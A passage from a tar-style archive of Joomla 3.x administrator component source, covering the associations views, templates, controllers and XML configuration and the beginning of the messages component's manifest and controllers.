			JFactory::getApplication()->enqueueMessage(JText::_('COM_ASSOCIATIONS_NOTICE_NO_SELECTORS'), 'notice');
		}
		else
		{
			$type = null;

			list($extensionName, $typeName) = explode('.', $this->state->get('itemtype'));

			$extension = AssociationsHelper::getSupportedExtension($extensionName);

			$types = $extension->get('types');

			if (array_key_exists($typeName, $types))
			{
				$type = $types[$typeName];
			}

			$this->itemType = $type;

			if (is_null($type))
			{
				JFactory::getApplication()->enqueueMessage(JText::_('COM_ASSOCIATIONS_ERROR_NO_TYPE'), 'warning');
			}
			else
			{
				$this->extensionName = $extensionName;
				$this->typeName      = $typeName;
				$this->typeSupports  = array();
				$this->typeFields    = array();

				$details = $type->get('details');

				if (array_key_exists('support', $details))
				{
					$support = $details['support'];
					$this->typeSupports = $support;
				}

				if (array_key_exists('fields', $details))
				{
					$fields = $details['fields'];
					$this->typeFields = $fields;
				}

				// Dynamic filter form.
				// This selectors doesn't have to activate the filter bar.
				unset($this->activeFilters['itemtype']);
				unset($this->activeFilters['language']);

				// Remove filters options depending on selected type.
				if (empty($support['state']))
				{
					unset($this->activeFilters['state']);
					$this->filterForm->removeField('state', 'filter');
				}

				if (empty($support['category']))
				{
					unset($this->activeFilters['category_id']);
					$this->filterForm->removeField('category_id', 'filter');
				}

				if ($extensionName !== 'com_menus')
				{
					unset($this->activeFilters['menutype']);
					$this->filterForm->removeField('menutype', 'filter');
				}

				if (empty($support['level']))
				{
					unset($this->activeFilters['level']);
					$this->filterForm->removeField('level', 'filter');
				}

				if (empty($support['acl']))
				{
					unset($this->activeFilters['access']);
					$this->filterForm->removeField('access', 'filter');
				}

				// Add extension attribute to category filter.
				if (empty($support['catid']))
				{
					$this->filterForm->setFieldAttribute('category_id', 'extension', $extensionName, 'filter');

					if ($this->getLayout() == 'modal')
					{
						// We need to change the category filter to only show categories tagged to All or to the forced language.
						if ($forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
						{
							$this->filterForm->setFieldAttribute('category_id', 'language', '*,' . $forcedLanguage, 'filter');
						}
					}
				}

				$this->items      = $this->get('Items');
				$this->pagination = $this->get('Pagination');

				$linkParameters = array(
					'layout'     => 'edit',
					'itemtype'   => $extensionName . '.' . $typeName,
					'task'       => 'association.edit',
				);

				$this->editUri = 'index.php?option=com_associations&view=association&' . http_build_query($linkParameters);
			}
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		// Will add sidebar if needed $this->sidebar = JHtmlSidebar::render();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function addToolbar()
	{
		$user = JFactory::getUser();

		if (isset($this->typeName) && isset($this->extensionName))
		{
			$helper = AssociationsHelper::getExtensionHelper($this->extensionName);
			$title  = $helper->getTypeTitle($this->typeName);

			$languageKey = strtoupper($this->extensionName . '_' . $title . 'S');

			if ($this->typeName === 'category')
			{
				$languageKey = strtoupper($this->extensionName) . '_CATEGORIES';
			}

			JToolbarHelper::title(
				JText::sprintf(
					'COM_ASSOCIATIONS_TITLE_LIST', JText::_($this->extensionName), JText::_($languageKey)
				), 'contract assoc'
			);
		}
		else
		{
			JToolbarHelper::title(JText::_('COM_ASSOCIATIONS_TITLE_LIST_SELECT'), 'contract assoc');
		}

		if ($user->authorise('core.admin', 'com_associations') || $user->authorise('core.options', 'com_associations'))
		{
			if (!isset($this->typeName))
			{
				JToolbarHelper::custom('associations.purge', 'purge', 'purge', 'COM_ASSOCIATIONS_PURGE', false, false);
				JToolbarHelper::custom('associations.clean', 'refresh', 'refresh', 'COM_ASSOCIATIONS_DELETE_ORPHANS', false, false);
			}

			JToolbarHelper::preferences('com_associations');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_ASSOCIATIONS');
	}
}
com_associations/views/associations/tmpl/modal.php000060400000015353152455305260016530 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$app = JFactory::getApplication();

if ($app->isClient('site'))
{
	JSession::checkToken('get') or die(JText::_('JINVALID_TOKEN'));
}

JHtml::_('jquery.framework');
JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$function         = $app->input->getCmd('function', 'jSelectAssociation');
$listOrder        = $this->escape($this->state->get('list.ordering'));
$listDirn         = $this->escape($this->state->get('list.direction'));
$canManageCheckin = JFactory::getUser()->authorise('core.manage', 'com_checkin');
$colSpan          = 4;

$iconStates = array(
	-2 => 'icon-trash',
	0  => 'icon-unpublish',
	1  => 'icon-publish',
	2  => 'icon-archive',
);

$app->getDocument()->addScriptDeclaration(
	"jQuery(document).ready(function($) {
		// Run function on parent window.
		$('.select-link').on('click', function() {
			if (self != top)
			{
				window.parent." . $function . "(this.getAttribute('data-id'));
			}
		});
	});"
);
?>
<form action="<?php echo JRoute::_('index.php?option=com_associations&view=associations&layout=modal&tmpl=component&function='
. $function . '&' . JSession::getFormToken() . '=1'); ?>" method="post" name="adminForm" id="adminForm">

<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif;?>
<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
	<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
		</div>
	<?php else : ?>
		<table class="table table-striped" id="associationsList">
			<thead>
				<tr>
					<?php if (!empty($this->typeSupports['state'])) : ?>
						<th width="1%" class="center nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'state', $listDirn, $listOrder); $colSpan++; ?>
						</th>
					<?php endif; ?>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'title', $listDirn, $listOrder); ?>
					</th>
					<th width="15%" class="nowrap">
						<?php echo JText::_('JGRID_HEADING_LANGUAGE'); ?>
					</th>
					<th width="5%" class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'COM_ASSOCIATIONS_HEADING_ASSOCIATION', 'association', $listDirn, $listOrder); ?>
					</th>
					<?php if (!empty($this->typeFields['menutype'])) : ?>
						<th width="10%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_ASSOCIATIONS_HEADING_MENUTYPE', 'menutype_title', $listDirn, $listOrder); $colSpan++; ?>
						</th>
					<?php endif; ?>
					<?php if (!empty($this->typeSupports['acl'])) : ?>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); $colSpan++; ?>
						</th>
					<?php endif; ?>
					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="<?php echo $colSpan; ?>">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php foreach ($this->items as $i => $item) :
				$canEdit    = AssociationsHelper::allowEdit($this->extensionName, $this->typeName, $item->id);
				$canCheckin = $canManageCheckin || AssociationsHelper::canCheckinItem($this->extensionName, $this->typeName, $item->id);
				$isCheckout = AssociationsHelper::isCheckoutItem($this->extensionName, $this->typeName, $item->id);
				?>
				<tr class="row<?php echo $i % 2; ?>">
					<?php if (!empty($this->typeSupports['state'])) : ?>
						<td class="center">
							<span class="<?php echo $iconStates[$this->escape($item->state)]; ?>" aria-hidden="true"></span>
						</td>
					<?php endif; ?>
					<td class="nowrap has-context">
						<?php if (isset($item->level)) : ?>
							<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level)); ?>
						<?php endif; ?>
						<?php if (($canEdit && !$isCheckout) || ($canEdit && $canCheckin && $isCheckout)) : ?>
							<a class="select-link" href="javascript:void(0);" data-id="<?php echo $item->id; ?>">
							<?php echo $this->escape($item->title); ?></a>
						<?php elseif ($canEdit && $isCheckout) : ?>
							<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'associations.'); ?>
							<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>">
							<?php echo $this->escape($item->title); ?></span>
						<?php else : ?>
							<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>">
							<?php echo $this->escape($item->title); ?></span>
						<?php endif; ?>
						<?php if (!empty($this->typeFields['alias'])) : ?>
							<span class="small">
								<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
							</span>
						<?php endif; ?>
						<?php if (!empty($this->typeFields['catid'])) : ?>
							<div class="small">
								<?php echo JText::_('JCATEGORY') . ": " . $this->escape($item->category_title); ?>
							</div>
						<?php endif; ?>
					</td>
					<td class="small">
						<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
					</td>
					<td>
						<?php if (true || $item->association) : ?>
							<?php echo AssociationsHelper::getAssociationHtmlList($this->extensionName, $this->typeName, (int) $item->id, $item->language, false, false); ?>
						<?php endif; ?>
					</td>
					<?php if (!empty($this->typeFields['menutype'])) : ?>
						<td class="small">
							<?php echo $this->escape($item->menutype_title); ?>
						</td>
					<?php endif; ?>
					<?php if (!empty($this->typeSupports['acl'])) : ?>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
					<?php endif; ?>
					<td class="hidden-phone">
						<?php echo $item->id; ?>
					</td>
				</tr>
				<?php endforeach; ?>
			</tbody>
		</table>

	<?php endif; ?>

		<input type="hidden" name="task" value=""/>
		<input type="hidden" name="forcedItemType" value="<?php echo $app->input->get('forcedItemType', '', 'string'); ?>" />
		<input type="hidden" name="forcedLanguage" value="<?php echo $app->input->get('forcedLanguage', '', 'cmd'); ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_associations/views/associations/tmpl/default.xml000060400000000264152455305260017064 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_ASSOCIATIONS">
		<message>
			<![CDATA[COM_ASSOCIATIONS_XML_DESCRIPTION]]>
		</message>
	</layout>
</metadata>com_associations/views/associations/tmpl/default.php000060400000015433152455305260017057 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('AssociationsHelper', JPATH_ADMINISTRATOR . '/components/com_associations/helpers/associations.php');

JHtml::_('jquery.framework');
JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$listOrder        = $this->escape($this->state->get('list.ordering'));
$listDirn         = $this->escape($this->state->get('list.direction'));
$canManageCheckin = JFactory::getUser()->authorise('core.manage', 'com_checkin');
$colSpan          = 5;

$iconStates = array(
	-2 => 'icon-trash',
	0  => 'icon-unpublish',
	1  => 'icon-publish',
	2  => 'icon-archive',
);

JText::script('COM_ASSOCIATIONS_PURGE_CONFIRM_PROMPT');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(pressbutton)
	{
		if (pressbutton == "associations.purge")
		{
			if (confirm(Joomla.JText._("COM_ASSOCIATIONS_PURGE_CONFIRM_PROMPT")))
			{
				Joomla.submitform(pressbutton);
			}
			else
			{
				return false;
			}
		}
		else
		{
			Joomla.submitform(pressbutton);
		}
	};
');
?>
<form action="<?php echo JRoute::_('index.php?option=com_associations&view=associations'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif;?>
<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
	<?php if (empty($this->items)) : ?>
		<div class="alert alert-no-items">
			<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
		</div>
	<?php else : ?>
		<table class="table table-striped" id="associationsList">
			<thead>
				<tr>
					<?php if (!empty($this->typeSupports['state'])) : ?>
						<th width="1%" class="center nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'state', $listDirn, $listOrder); $colSpan++; ?>
						</th>
					<?php endif; ?>
					<th class="nowrap">
						<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'title', $listDirn, $listOrder); ?>
					</th>
					<th width="15%" class="nowrap">
						<?php echo JText::_('JGRID_HEADING_LANGUAGE'); ?>
					</th>
					<th width="5%" class="nowrap">
						<?php echo JText::_('COM_ASSOCIATIONS_HEADING_ASSOCIATION'); ?>
					</th>
					<th width="15%" class="nowrap">
						<?php echo JText::_('COM_ASSOCIATIONS_HEADING_NO_ASSOCIATION'); ?>
					</th>
					<?php if (!empty($this->typeFields['menutype'])) : ?>
						<th width="10%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_ASSOCIATIONS_HEADING_MENUTYPE', 'menutype_title', $listDirn, $listOrder); $colSpan++; ?>
						</th>
					<?php endif; ?>
					<?php if (!empty($this->typeFields['access'])) : ?>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'access_level', $listDirn, $listOrder); $colSpan++; ?>
						</th>
					<?php endif; ?>
					<th width="1%" class="nowrap hidden-phone">
						<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'id', $listDirn, $listOrder); ?>
					</th>
				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="<?php echo $colSpan; ?>">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php foreach ($this->items as $i => $item) :
				$canEdit    = AssociationsHelper::allowEdit($this->extensionName, $this->typeName, $item->id);
				$canCheckin = $canManageCheckin || AssociationsHelper::canCheckinItem($this->extensionName, $this->typeName, $item->id);
				$isCheckout = AssociationsHelper::isCheckoutItem($this->extensionName, $this->typeName, $item->id);
				?>
				<tr class="row<?php echo $i % 2; ?>">
					<?php if (!empty($this->typeSupports['state'])) : ?>
						<td class="center">
							<span class="<?php echo $iconStates[$this->escape($item->state)]; ?>"></span>
						</td>
					<?php endif; ?>
					<td class="has-context">
						<div class="pull-left break-word">
							<span style="display: none"><?php echo JHtml::_('grid.id', $i, $item->id); ?></span>
							<?php if (isset($item->level)) : ?>
								<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level)); ?>
							<?php endif; ?>
							<?php if (!$canCheckin && $isCheckout) : ?>
								<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'associations.'); ?>
							<?php endif; ?>
							<?php if ($canCheckin && $isCheckout) : ?>
								<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'associations.', $canCheckin); ?>
							<?php endif; ?>
							<?php if ($canEdit && !$isCheckout) : ?>
								<a href="<?php echo JRoute::_($this->editUri . '&id=' . (int) $item->id); ?>">
								<?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
							<?php endif; ?>
							<?php if (!empty($this->typeFields['alias'])) : ?>
								<span class="small">
									<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
								</span>
							<?php endif; ?>
							<?php if (!empty($this->typeFields['catid'])) : ?>
								<div class="small">
									<?php echo JText::_('JCATEGORY') . ": " . $this->escape($item->category_title); ?>
								</div>
							<?php endif; ?>
						</div>
					</td>
					<td class="small">
						<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
					</td>
					<td>
						<?php echo AssociationsHelper::getAssociationHtmlList($this->extensionName, $this->typeName, (int) $item->id, $item->language, !$isCheckout, false); ?>
					</td>
					<td>
						<?php echo AssociationsHelper::getAssociationHtmlList($this->extensionName, $this->typeName, (int) $item->id, $item->language, !$isCheckout, true); ?>
					</td>
					<?php if (!empty($this->typeFields['menutype'])) : ?>
						<td class="small">
							<?php echo $this->escape($item->menutype_title); ?>
						</td>
					<?php endif; ?>
					<?php if (!empty($this->typeFields['access'])) : ?>
						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
					<?php endif; ?>
					<td class="hidden-phone">
						<?php echo $item->id; ?>
					</td>
				</tr>
				<?php endforeach; ?>
			</tbody>
		</table>
	<?php endif; ?>
	<input type="hidden" name="task" value=""/>
	<input type="hidden" name="boxchecked" value="0" />
	<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_associations/access.xml000060400000000651152455305260012071 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_associations">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
	</section>
</access>
com_associations/controllers/association.php000060400000004606152455305260015505 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('AssociationsHelper', JPATH_ADMINISTRATOR . '/components/com_associations/helpers/associations.php');

/**
 * Association edit controller class.
 *
 * @since  3.7.0
 */
class AssociationsControllerAssociation extends JControllerForm
{
	/**
	 * Method to edit an existing record.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key
	 *                           (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if access level check and checkout passes, false otherwise.
	 *
	 * @since   3.7.0
	 */
	public function edit($key = null, $urlVar = null)
	{
		list($extensionName, $typeName) = explode('.', $this->input->get('itemtype', '', 'string'));

		$id = $this->input->get('id', 0, 'int');

		// Check if reference item can be edited.
		if (!AssociationsHelper::allowEdit($extensionName, $typeName, $id))
		{
			JFactory::getApplication()->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_associations&view=associations', false));

			return false;
		}

		return parent::display();
	}

	/**
	 * Method for canceling the edit action
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function cancel($key = null)
	{
		$this->checkToken();

		list($extensionName, $typeName) = explode('.', $this->input->get('itemtype', '', 'string'));

		// Only check in, if component item type allows to check out.
		if (AssociationsHelper::typeSupportsCheckout($extensionName, $typeName))
		{
			$ids      = array();
			$targetId = $this->input->get('target-id', '', 'string');

			if ($targetId !== '')
			{
				$ids = array_unique(explode(',', $targetId));
			}

			$ids[] = $this->input->get('id', 0, 'int');

			foreach ($ids as $key => $id)
			{
				AssociationsHelper::getItem($extensionName, $typeName, $id)->checkin();
			}
		}

		$this->setRedirect(JRoute::_('index.php?option=com_associations&view=associations', false));
	}
}
com_associations/controllers/associations.php000060400000006421152455305260015665 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('AssociationsHelper', JPATH_ADMINISTRATOR . '/components/com_associations/helpers/associations.php');

/**
 * Associations controller class.
 *
 * @since  3.7.0
 */
class AssociationsControllerAssociations extends JControllerAdmin
{
	/**
	 * The URL view list variable.
	 *
	 * @var    string
	 *
	 * @since  3.7.0
	 */
	protected $view_list = 'associations';

	/**
	 * Proxy for getModel.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  The array of possible config values. Optional.
	 *
	 * @return  JModel|boolean
	 *
	 * @since   3.7.0
	 */
	public function getModel($name = 'Associations', $prefix = 'AssociationsModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Method to purge the associations table.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function purge()
	{
		$this->checkToken();

		$this->getModel('associations')->purge();
		$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list, false));
	}

	/**
	 * Method to delete the orphans from the associations table.
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	public function clean()
	{
		$this->checkToken();

		$this->getModel('associations')->clean();
		$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list, false));
	}

	/**
	 * Method to check in an item from the association item overview.
	 *
	 * @return  void
	 *
	 * @since   3.7.1
	 */
	public function checkin()
	{
		// Set the redirect so we can just stop processing when we find a condition we can't process
		$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list, false));

		// Figure out if the item supports checking and check it in
		$type = null;

		list($extensionName, $typeName) = explode('.', $this->input->get('itemtype'));

		$extension = AssociationsHelper::getSupportedExtension($extensionName);
		$types     = $extension->get('types');

		if (!array_key_exists($typeName, $types))
		{
			return;
		}

		if (AssociationsHelper::typeSupportsCheckout($extensionName, $typeName) === false)
		{
			// How on earth we came to that point, eject internet
			return;
		}

		$cid = (array) $this->input->get('cid', array(), 'int');

		if (empty($cid))
		{
			// Seems we don't have an id to work with.
			return;
		}

		// We know the first element is the one we need because we don't allow multi selection of rows
		$id = $cid[0];

		if ($id === 0)
		{
			// Seems we don't have an id to work with.
			return;
		}

		if (AssociationsHelper::canCheckinItem($extensionName, $typeName, $id) === true)
		{
			$item = AssociationsHelper::getItem($extensionName, $typeName, $id);

			$item->checkIn($id);

			return;
		}

		$this->setRedirect(
			JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_list),
			JText::_('COM_ASSOCIATIONS_YOU_ARE_NOT_ALLOWED_TO_CHECKIN_THIS_ITEM')
		);

		return;
	}
}
com_associations/config.xml000060400000000546152455305260012100 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC" >
		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_associations"
			section="component"
		/>
	</fieldset>
</config>
com_associations/controller.php000060400000000767152455305260013012 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Component Controller
 *
 * @since  3.7.0
 */
class AssociationsController extends JControllerLegacy
{
	/**
	 * The default view.
	 *
	 * @var     string
	 *
	 * @since   3.7.0
	 */
	protected $default_view = 'associations';
}
com_associations/layouts/joomla/searchtools/default/bar.php000060400000002320152455305260020311 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_associations
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$data = $displayData;

?>
<?php if ($data['view'] instanceof AssociationsViewAssociations) : ?>
	<?php $app = JFactory::getApplication(); ?>
	<?php // We will get the component item type and language filters & remove it from the form filters. ?>
	<?php if ($app->input->get('forcedItemType', '', 'string') == '') : ?>
		<?php $itemTypeField = $data['view']->filterForm->getField('itemtype'); ?>
		<div class="js-stools-field-filter js-stools-selector">
			<?php echo $itemTypeField->input; ?>
		</div>
	<?php endif; ?>
	<?php if ($app->input->get('forcedLanguage', '', 'cmd') == '') : ?>
		<?php $languageField = $data['view']->filterForm->getField('language'); ?>
		<div class="js-stools-field-filter js-stools-selector">
			<?php echo $languageField->input; ?>
		</div>
	<?php endif; ?>
<?php endif; ?>
<?php // Display the main joomla layout ?>
<?php echo JLayoutHelper::render('joomla.searchtools.default.bar', $data, null, array('component' => 'none')); ?>
com_messages/messages.xml000060400000002163152455305260011547 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_messages</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_MESSAGES_XML_DESCRIPTION</description>
	<languages folder="site">
		<language tag="en-GB">language/en-GB.com_messages.ini</language>
	</languages>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>messages.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>tables</folder>
			<folder>views</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_messages.ini</language>
			<language tag="en-GB">language/en-GB.com_messages.sys.ini</language>
		</languages>
	</administration>
</extension>
com_messages/messages.php000060400000001170152455305260011533 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.manage', 'com_messages'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$task       = JFactory::getApplication()->input->get('task');
$controller = JControllerLegacy::getInstance('Messages');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_messages/controller.php000060400000003115152455305260012110 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Messages master display controller.
 *
 * @since  1.6
 */
class MessagesController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached.
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController		This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('MessagesHelper', JPATH_ADMINISTRATOR . '/components/com_messages/helpers/messages.php');

		$view   = $this->input->get('view', 'messages');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'message' && $layout == 'edit' && !$this->checkEditId('com_messages.edit.message', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_messages&view=messages', false));

			return false;
		}

		// Load the submenu.
		MessagesHelper::addSubmenu($this->input->get('view', 'messages'));
		parent::display();
	}
}
com_messages/controllers/message.php000060400000002434152455305260013722 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Messages Component Message Model
 *
 * @since  1.6
 */
class MessagesControllerMessage extends JControllerForm
{
	/**
	 * Method (override) to check if you can save a new or existing record.
	 *
	 * Adjusts for the primary key name and hands off to the parent class.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowSave($data, $key = 'message_id')
	{
		return parent::allowSave($data, $key);
	}

	/**
	 * Reply to an existing message.
	 *
	 * This is a simple redirect to the compose form.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function reply()
	{
		if ($replyId = $this->input->getInt('reply_id'))
		{
			$this->setRedirect('index.php?option=com_messages&view=message&layout=edit&reply_id=' . $replyId);
		}
		else
		{
			$this->setMessage(JText::_('COM_MESSAGES_INVALID_REPLY_ID'));
			$this->setRedirect('index.php?option=com_messages&view=messages');
		}
	}
}
com_messages/controllers/messages.php000060400000001554152455305260014107 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_messages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Messages list controller class.
 *
 * @since  1.6
 */
class MessagesControllerMessages extends JControllerAdmin
{
	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
